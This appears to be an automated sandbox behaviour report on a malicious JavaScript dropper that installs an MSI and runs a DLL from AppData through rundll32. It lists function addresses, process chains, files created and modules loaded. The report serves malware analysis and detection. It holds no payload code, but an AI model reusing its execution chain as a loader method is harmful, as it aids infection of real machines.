Source: C:\Windows\Installer\MSIF29D.tmp	Code function: 4_2_00FED8D5	4_2_00FED8D5
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: 4_2_00FBC870	4_2_00FBC870
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: 4_2_00FD4920	4_2_00FD4920
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: 4_2_00FDA915	4_2_00FDA915
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: 4_2_00FE0A48	4_2_00FE0A48
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: 4_2_00FB9CC0	4_2_00FB9CC0
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: 4_2_00FE5D6D	4_2_00FE5D6D
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180055C62	6_2_0000000180055C62
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180041FEC	6_2_0000000180041FEC
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001CFF8	6_2_000000018001CFF8
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018003203C	6_2_000000018003203C
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180020044	6_2_0000000180020044
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018004C060	6_2_000000018004C060
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001E080	6_2_000000018001E080
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180033088	6_2_0000000180033088
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001F0D0	6_2_000000018001F0D0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001D104	6_2_000000018001D104
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018002C168	6_2_000000018002C168
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180021188	6_2_0000000180021188
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180024198	6_2_0000000180024198
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800221A0	6_2_00000001800221A0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800251B0	6_2_00000001800251B0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800231B8	6_2_00000001800231B8
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001F1D8	6_2_000000018001F1D8
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001E1D8	6_2_000000018001E1D8
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001D260	6_2_000000018001D260
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001E2E0	6_2_000000018001E2E0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001F2E0	6_2_000000018001F2E0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018003430C	6_2_000000018003430C
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001D364	6_2_000000018001D364
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180031388	6_2_0000000180031388
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018002238C	6_2_000000018002238C
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018002539C	6_2_000000018002539C
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800233A0	6_2_00000001800233A0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800123AC	6_2_00000001800123AC
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800213B4	6_2_00000001800213B4
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800243C4	6_2_00000001800243C4
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001E3E8	6_2_000000018001E3E8
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018002E400	6_2_000000018002E400
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180032408	6_2_0000000180032408
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001F448	6_2_000000018001F448
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001D490	6_2_000000018001D490
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018004249C	6_2_000000018004249C
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001E4F0	6_2_000000018001E4F0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018002C4F8	6_2_000000018002C4F8
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001C500	6_2_000000018001C500
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018004C510	6_2_000000018004C510
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001F550	6_2_000000018001F550
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018002E554	6_2_000000018002E554
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018003356C	6_2_000000018003356C
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018002358C	6_2_000000018002358C
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001D598	6_2_000000018001D598
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018002159C	6_2_000000018002159C
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800245AC	6_2_00000001800245AC
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800225BC	6_2_00000001800225BC
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800255CC	6_2_00000001800255CC
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001C608	6_2_000000018001C608
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018002B620	6_2_000000018002B620
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001F658	6_2_000000018001F658
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001E65C	6_2_000000018001E65C
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001D6A0	6_2_000000018001D6A0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018002E6D0	6_2_000000018002E6D0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001C710	6_2_000000018001C710
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001F760	6_2_000000018001F760
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180021784	6_2_0000000180021784
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180024794	6_2_0000000180024794
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001E7A0	6_2_000000018001E7A0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800227A8	6_2_00000001800227A8
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001D7A8	6_2_000000018001D7A8
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800317BC	6_2_00000001800317BC
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800237BC	6_2_00000001800237BC
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800327EC	6_2_00000001800327EC
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001C81C	6_2_000000018001C81C
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018004A838	6_2_000000018004A838
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001F8B8	6_2_000000018001F8B8
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001E8E4	6_2_000000018001E8E4
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001D900	6_2_000000018001D900
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018002C904	6_2_000000018002C904
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001C978	6_2_000000018001C978
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180022990	6_2_0000000180022990
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800239A8	6_2_00000001800239A8
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800219B0	6_2_00000001800219B0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018002B9B4	6_2_000000018002B9B4
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800249C0	6_2_00000001800249C0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001F9C0	6_2_000000018001F9C0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001DA08	6_2_000000018001DA08
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001EA28	6_2_000000018001EA28
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180033A3C	6_2_0000000180033A3C
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001CA80	6_2_000000018001CA80
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001FAC8	6_2_000000018001FAC8
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001DB10	6_2_000000018001DB10
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001EB58	6_2_000000018001EB58
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001CB88	6_2_000000018001CB88
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180023B94	6_2_0000000180023B94
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180021B98	6_2_0000000180021B98
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180024BA8	6_2_0000000180024BA8
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180032BB8	6_2_0000000180032BB8
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180022BBC	6_2_0000000180022BBC
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001FBD0	6_2_000000018001FBD0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180042BFC	6_2_0000000180042BFC
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180031C08	6_2_0000000180031C08
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001DC18	6_2_000000018001DC18
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001EC60	6_2_000000018001EC60
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001CC90	6_2_000000018001CC90
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180046CAC	6_2_0000000180046CAC
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001FD28	6_2_000000018001FD28
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001ED68	6_2_000000018001ED68
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001DD70	6_2_000000018001DD70
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180021D84	6_2_0000000180021D84
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180024D94	6_2_0000000180024D94
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180022DA4	6_2_0000000180022DA4
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180023DC4	6_2_0000000180023DC4
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018002BDDC	6_2_000000018002BDDC
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001CDE8	6_2_000000018001CDE8
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001FE30	6_2_000000018001FE30
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001EE70	6_2_000000018001EE70
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001DE74	6_2_000000018001DE74
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180033E98	6_2_0000000180033E98
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001CEF0	6_2_000000018001CEF0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180044F38	6_2_0000000180044F38
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001FF38	6_2_000000018001FF38
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001DF78	6_2_000000018001DF78
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180022F8C	6_2_0000000180022F8C
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180020FA0	6_2_0000000180020FA0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180023FB0	6_2_0000000180023FB0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180021FB4	6_2_0000000180021FB4
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180024FC4	6_2_0000000180024FC4
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001EFC8	6_2_000000018001EFC8
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4B0E31BE	6_2_000001FF4B0E31BE
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4B0E29EE	6_2_000001FF4B0E29EE
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000273F807BE	6_2_0000000273F807BE
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000273F7FFEE	6_2_0000000273F7FFEE
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAE55C0	6_2_000001FF4CAE55C0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAD66C0	6_2_000001FF4CAD66C0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAEBED0	6_2_000001FF4CAEBED0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAF82A0	6_2_000001FF4CAF82A0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAE16A0	6_2_000001FF4CAE16A0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAE42A0	6_2_000001FF4CAE42A0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAF66E0	6_2_000001FF4CAF66E0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAF7220	6_2_000001FF4CAF7220
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAFFBC0	6_2_000001FF4CAFFBC0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAF13A3	6_2_000001FF4CAF13A3
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAF2BB0	6_2_000001FF4CAF2BB0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CB02812	6_2_000001FF4CB02812
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAECBE0	6_2_000001FF4CAECBE0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CB01F40	6_2_000001FF4CB01F40
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CADA730	6_2_000001FF4CADA730
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CB02F60	6_2_000001FF4CB02F60
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAD9500	6_2_000001FF4CAD9500
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAEA100	6_2_000001FF4CAEA100
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAEB4E0	6_2_000001FF4CAEB4E0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CB01490	6_2_000001FF4CB01490
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAD99D0	6_2_000001FF4CAD99D0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAE4DB0	6_2_000001FF4CAE4DB0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CB00210	6_2_000001FF4CB00210
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAFB5E0	6_2_000001FF4CAFB5E0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAF55E0	6_2_000001FF4CAF55E0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAF4550	6_2_000001FF4CAF4550
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAE9120	6_2_000001FF4CAE9120
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FF4CAD5D60	6_2_000001FF4CAD5D60
Source: C:\Windows\explorer.exe	Code function: 8_2_03052164	8_2_03052164
Source: C:\Windows\explorer.exe	Code function: 8_2_03051A7C	8_2_03051A7C
Source: C:\Windows\explorer.exe	Code function: 8_2_03051A8C	8_2_03051A8C

Source: C:\Windows\System32\rundll32.exe	Code function: String function: 000000018004816C appears 44 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 0000000180001400 appears 56 times
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: String function: 00FD3790 appears 39 times
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: String function: 00FD325F appears 103 times
Source: C:\Windows\Installer\MSIF29D.tmp	Code function: String function: 00FD3292 appears 70 times

Source: Document-18-33-08.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.spre.troj.evad.winJS@10/21@8/4

Source: C:\Windows\Installer\MSIF29D.tmp

Code function: 4_2_00FB3860 CreateToolhelp32Snapshot,CloseHandle,Process32FirstW,OpenProcess,CloseHandle,Process32NextW,CloseHandle,

4_2_00FB3860

Source: C:\Windows\Installer\MSIF29D.tmp

Code function: 4_2_00FB4BA0 CoInitialize,CoCreateInstance,VariantInit,VariantClear,IUnknown_QueryService,CoAllowSetForegroundWindow,SysAllocString,SysAllocString,SysAllocString,SysAllocString,VariantInit,OpenProcess,WaitForSingleObject,GetExitCodeProcess,CloseHandle,LocalFree,VariantClear,VariantClear,VariantClear,VariantClear,VariantClear,SysFreeString,VariantClear,CoUninitialize,_com_issue_error,

4_2_00FB4BA0

Source: C:\Windows\Installer\MSIF29D.tmp

Code function: 4_2_00FB45B0 LoadResource,LockResource,SizeofResource,

4_2_00FB45B0

Source: C:\Windows\System32\msiexec.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\CMLF268.tmp

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Mutant created: NULL

Source: C:\Windows\System32\msiexec.exe

File created: C:\Windows\TEMP\~DF93ACB531B807E54B.TMP

Jump to behavior

Source: C:\Windows\Installer\MSIF29D.tmp

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\Installer\MSIF29D.tmp

Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\rundll32.exe" C:\Users\user\AppData\Roaming\vierm_soft_x64.dll, GetDeepDVCState

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Document-18-33-08.js"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 3D862CBB7D25098EF2F446AEAACF52B4
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSIF29D.tmp "C:\Windows\Installer\MSIF29D.tmp" /DontWait C:/Windows/SysWOW64/rundll32.exe C:\Users\user\AppData\Roaming\vierm_soft_x64.dll, GetDeepDVCState
Source: C:\Windows\Installer\MSIF29D.tmp	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\rundll32.exe" C:\Users\user\AppData\Roaming\vierm_soft_x64.dll, GetDeepDVCState
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\SysWOW64\rundll32.exe" C:\Users\user\AppData\Roaming\vierm_soft_x64.dll, GetDeepDVCState
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 3D862CBB7D25098EF2F446AEAACF52B4	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSIF29D.tmp "C:\Windows\Installer\MSIF29D.tmp" /DontWait C:/Windows/SysWOW64/rundll32.exe C:\Users\user\AppData\Roaming\vierm_soft_x64.dll, GetDeepDVCState	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\rundll32.exe" C:\Users\user\AppData\Roaming\vierm_soft_x64.dll, GetDeepDVCState	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\SysWOW64\rundll32.exe" C:\Users\user\AppData\Roaming\vierm_soft_x64.dll, GetDeepDVCState	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Installer\MSIF29D.tmp	Section loaded: propsys.dll	Jump to behavior
